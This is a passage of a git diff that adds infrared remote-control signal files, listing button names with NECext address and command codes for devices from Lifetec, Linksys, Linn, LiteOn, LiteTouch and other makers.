+name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 25 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 26 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_F1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: KEY_F2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5D 00 00 00 +# +name: KEY_F3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5E 00 00 00 +# +name: KEY_F4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Lifetec/Unknown_remote/164,164.ir b/assets/resources/infrared/_CSV-IRDB_/Lifetec/Unknown_remote/164,164.ir new file mode 100644 index 000000000..3261dcc8d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Lifetec/Unknown_remote/164,164.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: A4 A4 00 00 +command: 04 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: A4 A4 00 00 +command: 0C 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: A4 A4 00 00 +command: 13 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: A4 A4 00 00 +command: 16 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: A4 A4 00 00 +command: 17 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: A4 A4 00 00 +command: 1B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: A4 A4 00 00 +command: 20 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: A4 A4 00 00 +command: 60 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Lightolier/Lighting Controller/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Lightolier/Lighting Controller/0,-1.ir new file mode 100644 index 000000000..18f1831c2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Lightolier/Lighting Controller/0,-1.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: SCENE_A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: SCENE_B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: SCENE_C +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: SCENE_D +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Linksys/Media Adapter/134,107.ir b/assets/resources/infrared/_CSV-IRDB_/Linksys/Media Adapter/134,107.ir new file mode 100644 index 000000000..fe18cde7d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Linksys/Media Adapter/134,107.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 19 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Linksys/Unknown_WMA11B-R/134,107.ir b/assets/resources/infrared/_CSV-IRDB_/Linksys/Unknown_WMA11B-R/134,107.ir new file mode 100644 index 000000000..ff34f0f31 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Linksys/Unknown_WMA11B-R/134,107.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 00 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 04 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 05 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 06 00 00 00 +# +name: KEY_IMAGES +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 07 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 08 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 09 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0B 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0C 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0D 00 00 00 +# +name: KEY_OPTION +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0F 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 10 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 11 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 12 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 13 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 14 00 00 00 +# +name: ZOOMUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 15 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 19 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1A 00 00 00 +# +name: ZOOMDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Linn/CD Player/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Linn/CD Player/20,-1.ir new file mode 100644 index 000000000..cb202724e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Linn/CD Player/20,-1.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0B 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2D 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 32 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 34 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 70 00 00 00 +# +name: INTRO_SCAN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 72 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Linn/Classic music/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Linn/Classic music/16,-1.ir new file mode 100644 index 000000000..0b59a663a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Linn/Classic music/16,-1.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: TUN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 14 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 15 00 00 00 +# +name: TP1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 16 00 00 00 +# +name: TP2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 17 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 18 00 00 00 +# +name: BAL_R +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1A 00 00 00 +# +name: BAL_L +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1B 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 26 00 00 00 +# +name: ALARM +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 29 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2A 00 00 00 +# +name: TIME_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2B 00 00 00 +# +name: TIMEDN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2C 00 00 00 +# +name: LISTEN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 38 00 00 00 +# +name: BASS+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6B 00 00 00 +# +name: BASS- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6C 00 00 00 +# +name: TREB+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6D 00 00 00 +# +name: TREB- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Linn/Classic music/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Linn/Classic music/17,-1.ir new file mode 100644 index 000000000..a779cc148 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Linn/Classic music/17,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: MONO +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1C 00 00 00 +# +name: TUNE_DN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 22 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 28 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2E 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 37 00 00 00 +# +name: PRESET +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: SIGNAL +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 +# +name: TUNE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3A 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Linn/Classic music/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Linn/Classic music/20,-1.ir new file mode 100644 index 000000000..ce02aea20 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Linn/Classic music/20,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0B 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: SKIP>> +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: INDEX_> +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 22 00 00 00 +# +name: INDEX_< +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 23 00 00 00 +# +name: OPEN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2D 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 32 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 34 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 70 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 71 00 00 00 +# +name: INTRO_SCAN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 72 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Linn/Surround Processor/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Linn/Surround Processor/16,-1.ir new file mode 100644 index 000000000..f40873fbb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Linn/Surround Processor/16,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER/STANDBY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: + +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: VOL_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: VOL_DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: LASER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 12 00 00 00 +# +name: AUX2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 13 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 13 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 14 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 14 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 17 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 17 00 00 00 +# +name: AUX1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 18 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 18 00 00 00 +# +name: DAT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 19 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1F 00 00 00 +# +name: SURROUND +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 25 00 00 00 +# +name: NORM +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 31 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 31 00 00 00 +# +name: SOURCE-V +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 32 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 32 00 00 00 +# +name: SOURCE-A +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 38 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 38 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 50 00 00 00 +# +name: OSG +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 52 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 52 00 00 00 +# +name: SOURCE-A/V +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 76 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 76 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 77 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Linn/Surround Processor/23,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Linn/Surround Processor/23,-1.ir new file mode 100644 index 000000000..2d251ffa9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Linn/Surround Processor/23,-1.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 00 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 01 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 02 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 03 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 04 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 05 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 06 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 07 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 09 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 09 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Linn/Surround Processor/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Linn/Surround Processor/4,-1.ir new file mode 100644 index 000000000..3c22e42ff --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Linn/Surround Processor/4,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: LIMBIK_NEXT_(5_KEY) +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteOn/DVD Recorder/10,247.ir b/assets/resources/infrared/_CSV-IRDB_/LiteOn/DVD Recorder/10,247.ir new file mode 100644 index 000000000..c75ef350a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LiteOn/DVD Recorder/10,247.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 00 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 01 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 02 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 03 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 05 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 07 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 09 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 0A 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 0B 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 0C 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 0D 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 0E 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 0F 00 00 00 +# +name: EDIT +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 10 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 13 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 14 00 00 00 +# +name: PAUSE/STEP +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 17 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 18 00 00 00 +# +name: SOURCE +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 1C 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 1F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 40 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 41 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 42 00 00 00 +# +name: NAVI. +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 43 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 47 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 4A 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 4B 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 4C 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 4D 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 4E 00 00 00 +# +name: GUIDER +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 4F 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 50 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 54 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 55 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 5C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/129,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/129,-1.ir new file mode 100644 index 000000000..3ffee87f9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/129,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: 8 +type: parsed +protocol: NECext +address: 81 00 00 00 +command: 7F 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 81 00 00 00 +command: BF 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 81 00 00 00 +command: DF 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 81 00 00 00 +command: EF 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 81 00 00 00 +command: F7 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 81 00 00 00 +command: FB 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 81 00 00 00 +command: FD 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 81 00 00 00 +command: FE 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 81 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/130,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/130,-1.ir new file mode 100644 index 000000000..762860db5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/130,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: 8 +type: parsed +protocol: NECext +address: 82 00 00 00 +command: 7F 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 82 00 00 00 +command: BF 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 82 00 00 00 +command: DF 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 82 00 00 00 +command: EF 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 82 00 00 00 +command: F7 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 82 00 00 00 +command: FB 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 82 00 00 00 +command: FD 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 82 00 00 00 +command: FE 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 82 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/131,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/131,-1.ir new file mode 100644 index 000000000..df8547ee7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/131,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: 8 +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 7F 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 83 00 00 00 +command: BF 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 83 00 00 00 +command: DF 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 83 00 00 00 +command: EF 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 83 00 00 00 +command: F7 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 83 00 00 00 +command: FB 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 83 00 00 00 +command: FD 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 83 00 00 00 +command: FE 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 83 00 00 00 +command: FF 00 00 00 diff --git 